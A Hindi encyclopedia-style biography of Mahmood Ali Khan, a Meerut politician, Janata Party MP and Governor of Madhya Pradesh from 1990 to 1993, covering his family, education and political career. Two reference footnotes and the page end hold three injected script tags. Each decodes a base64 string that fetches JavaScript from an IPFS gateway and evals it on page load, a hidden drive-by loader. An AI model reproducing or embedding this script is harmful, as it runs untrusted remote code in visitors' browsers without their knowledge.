महमूद अली ख़ाँ

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
महमूद अली ख़ाँ
महमूद अली ख़ाँ
पूरा नाम महमूद अली ख़ाँ
जन्म 16 जून, 1920
जन्म भूमि मेरठ, उत्तर प्रदेश
मृत्यु 22 अप्रैल, 2001
नागरिकता भारतीय
प्रसिद्धि राजनीतिज्ञ
पार्टी कांग्रेस, जनता पार्टी
पद राज्यपाल
कार्य काल राज्यपाल मध्य प्रदेश- 6 फ़रवरी, 1990 से 23 जून, 1993 तक।
शिक्षा बी.ए., एल.एल.बी.
विद्यालय 'आगरा विश्वविद्यालय'
भाषा उर्दू, अंग्रेज़ी, हिन्दी तथा फ़ारसी
संबंधित लेख चरण सिंह, जयप्रकाश नारायण, चन्द्रशेखर
अभिरुचि महमूद अली ख़ाँ सदैव ग्रामीण उत्थान के कार्यों में लगे रहे। जीवन का अधिकांश समय उन्होंने पिछड़े ग्रामीणों और किसानों में जागृति पैदा करने के कार्यों में व्यतीत किया।
अन्य जानकारी महमूद अली ख़ाँ 1959-1960 में उपनिरीक्षकों की चयन समिति के सदस्य थे। 1967 में चौधरी चरण सिंह के साथ उन्होंने कांग्रेस पार्टी छोड़ थी और 'ज़िला जन-कांग्रेस'[1] के संस्थापक, अध्यक्ष और जनकांग्रेस की राष्ट्रीय कार्यकारिणी के सदस्य बने।

महमूद अली ख़ाँ (अंग्रेज़ी: Mahmood Ali Khan ; जन्म- 16 जून, 1920, मेरठ, उत्तर प्रदेश; मृत्यु- 22 अप्रैल, 2001) भारत के प्रसिद्ध राजनीतिज्ञों में से एक तथा मध्य प्रदेश के भूतपूर्व राज्यपाल थे। इन्होंने सन 1943 से कांग्रेस सदस्य के रूप में राजनीतिक गतिविधियों में सक्रिय भागीदारी प्रारम्भ कर दी थी। महमूद अली ख़ाँ 1968 में 'उत्तर प्रदेश लोक सेवा आयोग' के 6 वर्ष के लिए सदस्य नियुक्त किये गये थे। 1980 के बाद उन्होंने स्वयं को पूरी तरह से सक्रिय राजनीति से अलग रखा और सांप्रदायिक सद्भाव के कार्यों तथा सामाजिक एवं सांस्कृतिक गतिविधियों में गहरी दिलचस्पी लेते रहे। चन्द्रशेखर के नेतृत्व वाली 'जनता पार्टी' के सदस्य बने रहे। महमूद अली ख़ाँ 6 फ़रवरी, 1990 में मध्य प्रदेश के राज्यपाल नियुक्त हुए थे। उन्होंने जीवन का अधिकांश समय पिछड़े ग्रामीणों और किसानों में जागृति पैदा करने के कार्यों में व्यतीत किया।

जन्म तथा शिक्षा

कुँवर महमूद अली ख़ाँ 16 जून, 1920 में उत्तर प्रदेश के एक छोटे से गांव 'जोगीपुरा', मेरठ में हुआ था। इन्होंने अपनी छठी कक्षा तक की शिक्षा पूर्ण करने के बाद इंटरमीडिएट की परीक्षा मेरठ से उत्तीर्ण की। वर्ष 1943 में वे बी.ए. की डिग्री प्राप्त कर चुके थे। महमूद अली ख़ाँ ने 'आगरा विश्वविद्यालय' से एल.एल.बी. की डिग्री हासिल की थी।

पारिवारिक पृष्भूमि

इनके पूर्वज परमारवंशी मुस्लिम, जिसे अपनी सांस्कृतिक परम्पराओं पर गर्व था, राजा भोज और उज्जैन के सम्राट विक्रमादित्य तथा पूर्वकाल की 'धारानगरी' (वर्तमान में धार) के कल्याण सिंह के वंशज थे। विक्रम संवत 1815 में महमूद अली ख़ाँ के पूर्वज ग्राम जोगीपुरा में आये थे। एक पूर्वज राव भोजीसिंह ने विक्रम संवत 1411 में फ़िरोज़शाह तुग़लक़ के शासन काल में इस्लाम धर्म स्वीकार कर लिया था। अभी भी परिवार में राजपूतों के रीति-रिवाज और अन्य व्यवहार को अपनाया जाता है।[2]

कुशल खिलाड़ी

छात्र जीवन में महमूद अली ख़ाँ कुशल खिलाड़ी थे। उनकी जिमनास्टिक और कुश्ती में विशेष रुचि थी। 'एन.आर.ई.सी. कॉलेज' में वे जिमनाजियम में कप्तान और मेरठ कॉलेज में वरिष्ठ हाउस मॉनीटर थे। उन्होंने मेरठ कॉलेज में दो साल की 'यूनिवर्सिटी ट्रेनिंग कोर' (यू.टी.सी.) की ट्रेनिंग भी प्राप्त की थी।

अभिरुचि

महमूद अली ख़ाँ सदैव ग्रामीण उत्थान के कार्यों में लगे रहे। जीवन का अधिकांश समय उन्होंने पिछड़े ग्रामीणों और किसानों में जागृति पैदा करने के कार्यों में व्यतीत किया। साम्प्रदाययिक सद्भाव तथा राष्ट्रीय ओर भावनात्मक एकता के कार्यों को वे विशेष महत्त्व देते थे। पुस्तकें पढ़ने का उन्हें शौक था। महमूद अली ख़ाँ की धार्मिक ग्रन्थों में विशेष दिलचस्पी थी। भक्ति और सूफ़ी आंदोलन का उनके जीवन पर गहरा प्रभाव था।

भाषा ज्ञान

उर्दू, अंग्रेज़ी, हिन्दी तथा फ़ारसी भाषा का भी ज्ञान महमूद अली ख़ाँ को था।

राजनीतिक शुरुआत

सन 1938 में महमूद अली ख़ाँ छात्र जीवन से ही महात्मा गाँधी और पंडित जवाहरलाल नेहरू से पेरित होकर कांग्रेस पार्टी में शामिल हो गए। 1943 से कांग्रेस सदस्य के रूप में उन्होंने राजनीतिक गतिविधियों में सक्रिय भागीदारी निभाई। गढ़मुक्तेश्वर क्षेत्र में सन 1946 में हुए झगड़ों के दौरान गढ़मुक्तेश्वर और हापुड़ के आसपास के क्षेत्र में सांप्रदायिक सद्भाव बनाये रखने के लिये उन्होंने समर्पित भाव से कार्य किया।

चरण सिंह का सान्निध्य

महमूद अली ख़ाँ का 1953-1957 में मेरठ ज़िले के प्रसिद्ध स्वतंत्रता सेनानी कैलाश प्रकाश और 'काकोरी काण्ड' से जुड़े विष्णु शरद दुबलीश से संपर्क हुआ। वे उनके साथ राजनीतिक गतिविधियों में सक्रिय रहे। सन 1953 में कांग्रेस दे टिकिट पर महमूद अली ख़ाँ मेरठ नगरपालिका के चुनाव में प्रत्याशी घोषित हुए। 1957 में कांग्रेस उम्मीदवार के रूप में तत्कालीन मेरठ ज़िले के दासना विधान सभा क्षेत्र से उत्तर प्रदेश विधान सभा के सदस्य निर्वाचित हुए और वरिष्ठ नेता चौधरी चरण सिंह के सान्निध्य में आकर उनके निकट सहयोगी बने। ग्रामीण क्षेत्रों की उन्नति के लिए चौधरी चरण सिंह के विचारों और सिद्धांतों का महमूद अली ख़ाँ के जीवन पर व्यापक प्रभाव पड़ा। सन 1957-1962 में वे विधायिनी समिति में प्रतिनिधि तथा इसी अवधि में सिंचाई तथा ऊर्जा समिति के सदस्य रहे।[2]

'ज़िला जन-कांग्रेस' की स्थापना

महमूद अली ख़ाँ 1959-1960 में उपनिरीक्षकों की चयन समिति के सदस्य भी थे। 1967 में चौधरी चरण सिंह के साथ उन्होंने कांग्रेस पार्टी छोड़ थी और 'ज़िला जन-कांग्रेस' (बाद में भारतीय क्रांतिदल) के संस्थापक, अध्यक्ष और जनकांग्रेस की राष्ट्रीय कार्यकारिणी के सदस्य बने। वर्ष 1968 में महमूद अली ख़ाँ उत्तर प्रदेश लोक सेवा आयोग के 6 वर्ष के लिए सदस्य नियुक्त किये गये।

राजनीतिक सफर

  • 1974 में महमूद अली ख़ाँ ने सक्रिय राजनीति में पुनः प्रवेश किया और 'भारतीय क्रांति दल' की मेरठ ज़िला शाखा के अध्यक्ष बने और बाद में चौधरी चरण सिंह के नेतृत्व वाले 'भारतीय लोकदल' की राष्ट्रीय कार्यकारिणी के सदस्य मनोनीत किए गए।
  • उन्होंने 1974-1977 में जयप्रकाश नारायण द्वारा चलाये गये आंदोलन में सक्रिय भूमिका निभाई। 26 जून, 1975 से 16 जनवरी, 1977 तक वे मीसा में बंद रहे।
  • महमूद अली ख़ाँ 1977 में जनता पार्टी के उम्मीदवार के रूप में हापुड़-गाजियाबाद क्षेत्र से लोक सभा सदस्य निर्वाचित हुए। जनता पार्टी की राष्ट्रीय कार्यकारिणी के सदस्य भी बने।
  • वे पंचायती राज पर गठित अशोक मेहता समिति के सदस्य भी बनाये गए थे।
  • महमूद अली ख़ाँ 'केन्द्रीय हज समिति', मुम्बई के सदस्य भी रहे।
  • 'अलीगढ़ मुस्लिम विश्वविद्यालय' की कोर्ट के सदस्य भी रहे।
  • वर्ष 1977-1979 तक वे शासकीय आश्वासन समिति एवं विधि, न्याय और कंपनी मामलों के मंत्रालय की परामर्श समिति के सदस्य थे।
  • उन्हें राजभाषा समिति का सदय भी बनाया गया था।
  • सन 1979 में 'भारत सोवियत मैत्री समिति' के प्रतिनिधिमंडल का नेतृत्व करते हुए महमूद अली ख़ाँ ने रूस की यात्रा की।
  • 1979 में महमूद अली ख़ाँ संसद में जनता संसदीय दल के उप-नेता चुने गये थे। इस दल के नेता मोरारजी देसाई थे।
  • जनता पार्टी के केन्द्रीय संसदीय बोर्ड में इन्हें सदस्य नियुक्त किया गया था।

चुनावी पराजय

वर्ष1980 में महमूद अली ख़ाँ हापुड़-गाजियाबाद संसदीय क्षेत्र से जनता पार्टी के उम्मीदवार के रूप में चुनाव लड़े, किन्तु विजयी नहीं हुए। 1980 के बाद उन्होंने अपने को सक्रिय राजनीति से अलग रखा और सांप्रदायिक सद्भाव के कार्यों तथा सामाजिक एवं सांस्कृतिक गतिविधियों में गहरी दिलचस्पी लेते रहे।

राज्यपाल

चन्द्रशेखर के नेतृत्व वाली जनता पार्टी के वे सदस्य बने रहे। महमूद अली ख़ाँ 6 फ़रवरी, 1990 से 23 जून, 1993 तक मध्य प्रदेश के राज्यपाल रहे थे।[3]

निधन

महमूद अली ख़ाँ का निधन 22 अप्रैल, 2001 को हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. बाद में भारतीय क्रांतिदल
  2. 2.0 2.1 मध्य प्रदेश के भूतपूर्व राज्यपाल (हिन्दी) एमपी पोस्ट। अभिगमन तिथि: 18 सितम्बर, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. Former Governors of Madhya Pradesh (हिन्दी) Raj Bhavan, Bhopal। अभिगमन तिथि: 18 सितम्बर, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>